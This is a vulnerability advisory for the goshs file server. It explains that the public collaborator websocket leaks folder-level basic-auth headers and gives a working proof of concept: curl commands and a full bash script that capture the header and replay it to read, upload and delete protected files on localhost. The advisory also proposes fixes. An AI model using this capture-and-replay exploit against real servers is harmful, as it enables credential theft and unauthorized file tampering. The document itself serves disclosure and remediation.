"details": "### Summary\ngoshs leaks file-based ACL credentials through its public collaborator feed when the server is deployed without global basic auth. Requests to `.goshs`-protected folders are logged before authorization is enforced, and the collaborator websocket broadcasts raw request headers, including `Authorization`. An unauthenticated observer can capture a victim's folder-specific basic-auth header and replay it to read, upload, overwrite, and delete files inside the protected subtree. I reproduced this on `v2.0.0-beta.5`, the latest supported release as of April 10, 2026.\n\n### Details\nThe main web UI and collaborator websocket stay public when goshs is started without global `-b user:pass` authentication:\n\n- `httpserver/server.go:72-85` only installs `BasicAuthMiddleware()` when a global username or password is configured\n\nThe vulnerable request is logged before `.goshs` authorization is enforced:\n\n- `httpserver/handler.go:277-279` calls `emitCollabEvent()` and `logger.LogRequest()` before the protected file is passed into ACL enforcement\n- `httpserver/handler.go:291-309` performs folder-level `.goshs` authentication later in `applyCustomAuth()`\n\nThe collaborator pipeline copies and broadcasts every request header:\n\n- `httpserver/collaborator.go:22-46` flattens all request headers, including `Authorization`, into the websocket event and sends them to the hub\n- `ws/hub.go:77-84` fans the event out live to all connected websocket clients\n- `ws/hub.go:116-122` replays up to 200 prior HTTP events to newly connected websocket clients via catchup\n\nThe frontend also makes the leak easier to understand by decoding authorization values:\n\n- `assets/js/main.js:627-645` formats and decodes the `Authorization` header for display in the collaborator panel\n\nIn practice, a victim request such as:\n\n```http\nGET /ACLAuth/secret.txt\nAuthorization: Basic YWRtaW46YWRtaW4=\n```\n\nis visible to any public websocket observer before the protected file's ACL check is enforced. The attacker can then replay the leaked header against the same protected folder and gain the victim's effective access.\n\n### PoC\nManual verification commands used:\n\n`Terminal 1`\n\n```bash\ncd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'\ngo build -o /tmp/goshs_beta5 ./\n\nrm -rf /tmp/goshs_collab_root\nmkdir -p /tmp/goshs_collab_root/ACLAuth\ncp integration/keepFiles/goshsACLAuth /tmp/goshs_collab_root/ACLAuth/.goshs\nprintf 'very secret\\n' > /tmp/goshs_collab_root/ACLAuth/secret.txt\n\n/tmp/goshs_beta5 -d /tmp/goshs_collab_root -p 18096\n```\n\n`Terminal 2`\n\n```bash\nnode - <<'NODE'\nconst ws = new WebSocket('ws://127.0.0.1:18096/?ws');\nws.onmessage = (ev) => console.log(ev.data.toString());\nNODE\n```\n\n`Terminal 3`\n\n```bash\ncurl -s -o /dev/null -w '%{http_code}\\n' http://127.0.0.1:18096/ACLAuth/secret.txt\ncurl -s -u admin:admin http://127.0.0.1:18096/ACLAuth/secret.txt\ncurl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt\ncurl -s -o /dev/null -w '%{http_code}\\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' -X PUT --data-binary 'owned' http://127.0.0.1:18096/ACLAuth/pwn.txt\ncurl -s -o /dev/null -w '%{http_code}\\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' 'http://127.0.0.1:18096/ACLAuth/secret.txt?delete'\n```\n\nTwo terminal commands I ran during local validation:\n\n```bash\ncurl -s -o /dev/null -w '%{http_code}\\n' http://127.0.0.1:18096/ACLAuth/secret.txt\ncurl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt\n```\n\nObserved results from manual verification:\n\n- the anonymous request returned `401`\n- the victim request returned `very secret`\n- the replayed leaked header also returned `very secret`\n- the replayed `PUT` returned `200`\n- the replayed `?delete` returned `200`\n- the public websocket showed `Authorization\":\"Basic YWRtaW46YWRtaW4=\"`\n\nPoC Video 1:\n\nhttps://github.com/user-attachments/assets/1347838e-28a0-4c9f-be9f-db7e2938c752\n\n\n\nSingle-script verification:\n\n```bash\n'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc4'\n```\n\nObserved script result:\n\n- `Captured header: Basic YWRtaW46YWRtaW4=`\n- `Anonymous GET status: 401`\n- `Replayed-header GET body: very secret`\n- `Replayed-header PUT status: 200`\n- `Replayed-header delete status: 200`\n- `[RESULT] VULNERABLE: public collaborator feed leaked ACL credentials that unlocked the protected subtree`\n\nPoC Video 2:\n\nhttps://github.com/user-attachments/assets/b25648a9-b96c-46b3-9ee4-0ae4cc1c3472\n\n\n\n`gosh_poc4` script content:\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nREPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'\nFIXTURE='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5/integration/keepFiles/goshsACLAuth'\nBIN='/tmp/goshs_beta5_collab_leak'\nPORT='18096'\nWORKDIR=\"$(mktemp -d /tmp/goshs-collab-beta5-XXXXXX)\"\nROOT=\"$WORKDIR/root\"\nWS_LOG=\"$WORKDIR/ws.log\"\nGOSHS_PID=\"\"\nWATCH_PID=\"\"\n\ncleanup() {\n if [[ -n \"${WATCH_PID:-}\" ]]; then\n kill \"${WATCH_PID}\" >/dev/null 2>&1 || true\n wait \"${WATCH_PID}\" 2>/dev/null || true\n fi\n if [[ -n \"${GOSHS_PID:-}\" ]]; then\n kill \"${GOSHS_PID}\" >/dev/null 2>&1 || true\n wait \"${GOSHS_PID}\" 2>/dev/null || true\n fi\n}\ntrap cleanup EXIT\n\nmkdir -p \"${ROOT}/ACLAuth\"\ncp \"${FIXTURE}\" \"${ROOT}/ACLAuth/.goshs\"\nprintf 'very secret\\n' > \"${ROOT}/ACLAuth/secret.txt\"\n\necho \"[1/6] Building goshs beta.5\"\n(cd \"${REPO}\" && go build -o \"${BIN}\" ./)\n\necho \"[2/6] Starting goshs without global auth on 127.0.0.1:${PORT}\"\n\"${BIN}\" -d \"${ROOT}\" -p \"${PORT}\" >\"${WORKDIR}/goshs.log\" 2>&1 &\nGOSHS_PID=$!\n\nfor _ in $(seq 1 40); do\n if curl -s \"http://127.0.0.1:${PORT}/\" >/dev/null 2>&1; then\n break\n fi\n sleep 0.25\ndone\n\necho \"[3/6] Opening an unauthenticated websocket observer\"\nnode - <<'NODE' >\"${WS_LOG}\" &\nconst ws = new WebSocket('ws://127.0.0.1:18096/?ws');\nws.onopen = () => console.log('OPEN');\nws.onmessage = (ev) => {\n const msg = ev.data.toString();\n console.log(msg);\n if (msg.includes('Authorization')) process.exit(0);\n};\nsetTimeout(() => process.exit(0), 10000);\nNODE\nWATCH_PID=$!\n\necho \"[4/6] Simulating a victim request with folder credentials\"\ncurl -s -u admin:admin \"http://127.0.0.1:${PORT}/ACLAuth/secret.txt\" >/dev/null\nwait \"${WATCH_PID}\" || true\nWATCH_PID=\"\"\n\nLEAKED_HEADER=\"$(python3 - \"${WS_LOG}\" <<'PY'\nimport pathlib\nimport re\nimport sys\n\ntext = pathlib.Path(sys.argv[1]).read_text()\nm = re.search(r'Basic [A-Za-z0-9+/=]+', text)\nprint(m.group(0) if m else '')\nPY\n)\"\n\nif [[ -z \"${LEAKED_HEADER}\" ]]; then\n echo \"[ERROR] No leaked Authorization header was captured.\" >&2\n echo \"[DEBUG] Websocket output:\" >&2\n cat \"${WS_LOG}\" >&2\n exit 1\nfi\n\necho \"[5/6] Replaying the leaked header as the attacker\"\nUNAUTH_CODE=\"$(curl -s -o /dev/null -w '%{http_code}' \"http://127.0.0.1:${PORT}/ACLAuth/secret.txt\")\"\nREAD_BACK=\"$(curl -s -H \"Authorization: ${LEAKED_HEADER}\" \"http://127.0.0.1:${PORT}/ACLAuth/secret.txt\")\"\nPUT_CODE=\"$(curl -s -o /dev/null -w '%{http_code}' -H \"Authorization: ${LEAKED_HEADER}\" -X PUT --data-binary 'owned' \"http://127.0.0.1:${PORT}/ACLAuth/pwn.txt\")\"\nDELETE_CODE=\"$(curl -s -o /dev/null -w '%{http_code}' -H \"Authorization: ${LEAKED_HEADER}\" \"http://127.0.0.1:${PORT}/ACLAuth/secret.txt?delete\")\"\n\nif [[ \"${UNAUTH_CODE}\" != \"401\" ]]; then\n echo \"[ERROR] Expected anonymous direct access to fail with 401, got ${UNAUTH_CODE}.\" >&2\n exit 1\nfi\n\nif [[ \"${READ_BACK}\" != \"very secret\" ]]; then\n echo \"[ERROR] Replayed header did not unlock the protected file.\" >&2\n exit 1\nfi\n\nif [[ \"${PUT_CODE}\" != \"200\" ]]; then\n echo \"[ERROR] Expected replayed-header PUT to return 200, got ${PUT_CODE}.\" >&2\n exit 1\nfi\n\nif [[ \"${DELETE_CODE}\" != \"200\" ]]; then\n echo \"[ERROR] Expected replayed-header delete to return 200, got ${DELETE_CODE}.\" >&2\n exit 1\nfi\n\nif [[ ! -f \"${ROOT}/ACLAuth/pwn.txt\" ]]; then\n echo \"[ERROR] PUT did not create pwn.txt.\" >&2\n exit 1\nfi\n\nif [[ -f \"${ROOT}/ACLAuth/secret.txt\" ]]; then\n echo \"[ERROR] Delete did not remove secret.txt.\" >&2\n exit 1\nfi\n\necho \"[6/6] Results\"\necho \"Captured header: ${LEAKED_HEADER}\"\necho \"Anonymous GET status: ${UNAUTH_CODE}\"\necho \"Replayed-header GET body: ${READ_BACK}\"\necho \"Replayed-header PUT status: ${PUT_CODE}\"\necho \"Replayed-header delete status: ${DELETE_CODE}\"\necho \"[RESULT] VULNERABLE: public collaborator feed leaked ACL credentials that unlocked the protected subtree\"\n```\n\n### Impact\nThis issue is a sensitive information disclosure that becomes an authentication bypass against `.goshs`-protected content. Any unauthenticated observer who can access the public collaborator websocket can steal folder-level basic-auth credentials from a victim request and immediately reuse them to read, upload, overwrite, or delete files inside the protected subtree. Deployments that rely on public goshs access with selective `.goshs`-protected subfolders are directly exposed.\n\n### Remediation\nSuggested fixes:\n\n1. Never store or broadcast sensitive headers such as `Authorization`, `Cookie`, or `Proxy-Authorization` in collaborator events.\n2. Move collaborator logging until after access-control checks, and log only minimal metadata instead of raw headers and bodies.\n3. Protect the collaborator websocket and panel with the same or stronger authentication boundary as the resources being observed.",
0 commit comments